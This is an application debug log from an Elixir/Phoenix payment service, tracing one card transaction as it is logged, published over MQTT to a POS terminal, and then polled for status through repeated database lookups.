[Fri Sep  4 05:21:18.499000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK db=33.7ms idle=1875.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 152, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch265158791040", external_ref_number_2: "4626134427", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch265158791040", ~U[2026-09-04 05:21:18Z], 35, "initiate_card_txn_request", ~N[2026-09-04 05:21:18], ~N[2026-09-04 05:21:18]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:21:18.499000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Successfully created custom event log with ID: 40252
[Fri Sep  4 05:21:18.499000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Handling card transaction:
- Reference: ch265158791040
- Amount: 152
- Params: %{"accountLabel" => "", "amount" => "152", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch265158791040", "externalRefNumber2" => "4626134427", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Fri Sep  4 05:21:18.503000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="users" db=2.8ms idle=1909.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:21:18.505000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="custom_events" db=1.6ms idle=1909.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:21:18.505000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch265158791040"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788499278,
  device_id: "98251226730002",
  amount: 152
}

[Fri Sep  4 05:21:18.505000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788499278,
    device_id: "98251226730002",
    amount: 152
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch265158791040",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:21:18.505347Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 05:21:18.505000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56384] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788499278, device_id: "98251226730002", amount: 152}, event_name: "Response From Device Online Status", refrence_id: "ch265158791040", transaction_id: nil, date_added: ~U[2026-09-04 05:21:18.505347Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 05:21:18.551000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK db=45.6ms idle=1909.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788499278, device_id: "98251226730002", amount: 152}, "Response From Device Online Status", "ch265158791040", ~U[2026-09-04 05:21:18Z], 36, "response_from_device_online_status", ~N[2026-09-04 05:21:18], ~N[2026-09-04 05:21:18]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:21:18.551000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Successfully created custom event log with ID: 40253
[Fri Sep  4 05:21:18.552000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch265158791040\",\"amount\":15200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 05:21:18.597000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK db=44.9ms idle=1580.6ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "152", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch265158791040", "externalRefNumber2" => "4626134427", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_111c84519f87@mercurypay.in", "98251226730002", "ch265158791040", 4, Decimal.new("152"), %{}, "1", ~N[2026-09-04 05:21:18], ~N[2026-09-04 05:21:18]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 05:21:18.598000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="users" db=0.4ms idle=614.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:21:18.599000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="custom_events" db=0.8ms idle=377.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:21:18.600000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch265158791040"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788499278,
  qos: 1,
  device_id: "98251226730002",
  amount: 152
}

[Fri Sep  4 05:21:18.600000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788499278,
    qos: 1,
    device_id: "98251226730002",
    amount: 152
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch265158791040",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:21:18.600255Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 05:21:18.600000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56384] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499278, qos: 1, device_id: "98251226730002", amount: 152}, event_name: "Request For Publish Txn", refrence_id: "ch265158791040", transaction_id: nil, date_added: ~U[2026-09-04 05:21:18.600255Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 05:21:18.644000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK db=43.2ms idle=289.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499278, qos: 1, device_id: "98251226730002", amount: 152}, "Request For Publish Txn", "ch265158791040", ~U[2026-09-04 05:21:18Z], 37, "request_for_publish_txn", ~N[2026-09-04 05:21:18], ~N[2026-09-04 05:21:18]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:21:18.644000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Successfully created custom event log with ID: 40254
[Fri Sep  4 05:21:18.645000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1115422721.196679>
[Fri Sep  4 05:21:18.645000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1115422721.196685>
[Fri Sep  4 05:21:18.650000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="users" db=0.4ms idle=187.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:21:18.651000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="custom_events" db=0.6ms idle=186.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:21:18.652000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch265158791040"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788499278,
  device_id: "98251226730002",
  amount: 152
}

[Fri Sep  4 05:21:18.653000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788499278,
    device_id: "98251226730002",
    amount: 152
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch265158791040",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:21:18.652365Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 05:21:18.653000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56384] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499278, device_id: "98251226730002", amount: 152}, event_name: "Response From Publish Txn", refrence_id: "ch265158791040", transaction_id: nil, date_added: ~U[2026-09-04 05:21:18.652365Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 05:21:18.726000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK db=70.9ms queue=0.7ms idle=155.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499278, device_id: "98251226730002", amount: 152}, "Response From Publish Txn", "ch265158791040", ~U[2026-09-04 05:21:18Z], 38, "response_from_publish_txn", ~N[2026-09-04 05:21:18], ~N[2026-09-04 05:21:18]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:21:18.726000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Successfully created custom event log with ID: 40255
[Fri Sep  4 05:21:18.727000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1115422721.196685>
[Fri Sep  4 05:21:18.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56384] Sent 200 in 273ms
[Fri Sep  4 05:21:24.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56390] POST /api/device/status
[Fri Sep  4 05:21:24.708000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:56390] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:21:24.708000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56390] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:21:24.708000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56390] Transaction reference number: "ch265158791040"
[Fri Sep  4 05:21:24.726000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56390] QUERY OK source="pos_transaction" db=17.4ms idle=1114.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:21:24.729000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56390] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1134.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:21:24.733000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56390] QUERY OK source="pos_failed_transaction" db=3.1ms idle=1136.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:21:24.735000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56390] QUERY OK source="cloud_transaction" db=1.2ms idle=426.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:21:24.735000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56390] Sent 200 in 28ms
[Fri Sep  4 05:21:29.402000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59092] POST /api/device/status
[Fri Sep  4 05:21:29.402000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59092] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:21:29.402000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59092] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:21:29.403000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59092] Transaction reference number: "ch265158791040"
[Fri Sep  4 05:21:29.416000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59092] QUERY OK source="pos_transaction" db=12.8ms idle=809.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:21:29.417000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59092] QUERY OK source="pos_temp_transaction" db=0.4ms idle=822.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:21:29.419000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59092] QUERY OK source="pos_failed_transaction" db=2.6ms idle=822.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:21:29.420000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59092] QUERY OK source="cloud_transaction" db=0.5ms idle=825.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:21:29.421000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59092] Sent 200 in 18ms
[Fri Sep  4 05:21:34.430000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59104] POST /api/device/status
[Fri Sep  4 05:21:34.430000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59104] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:21:34.431000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59104] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch265158791040", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:21:34.431000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59104] Transaction reference number: "ch265158791040"
[Fri Sep  4 05:21:34.444000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59104] QUERY OK source="pos_transaction" db=12.4ms idle=1837.7ms
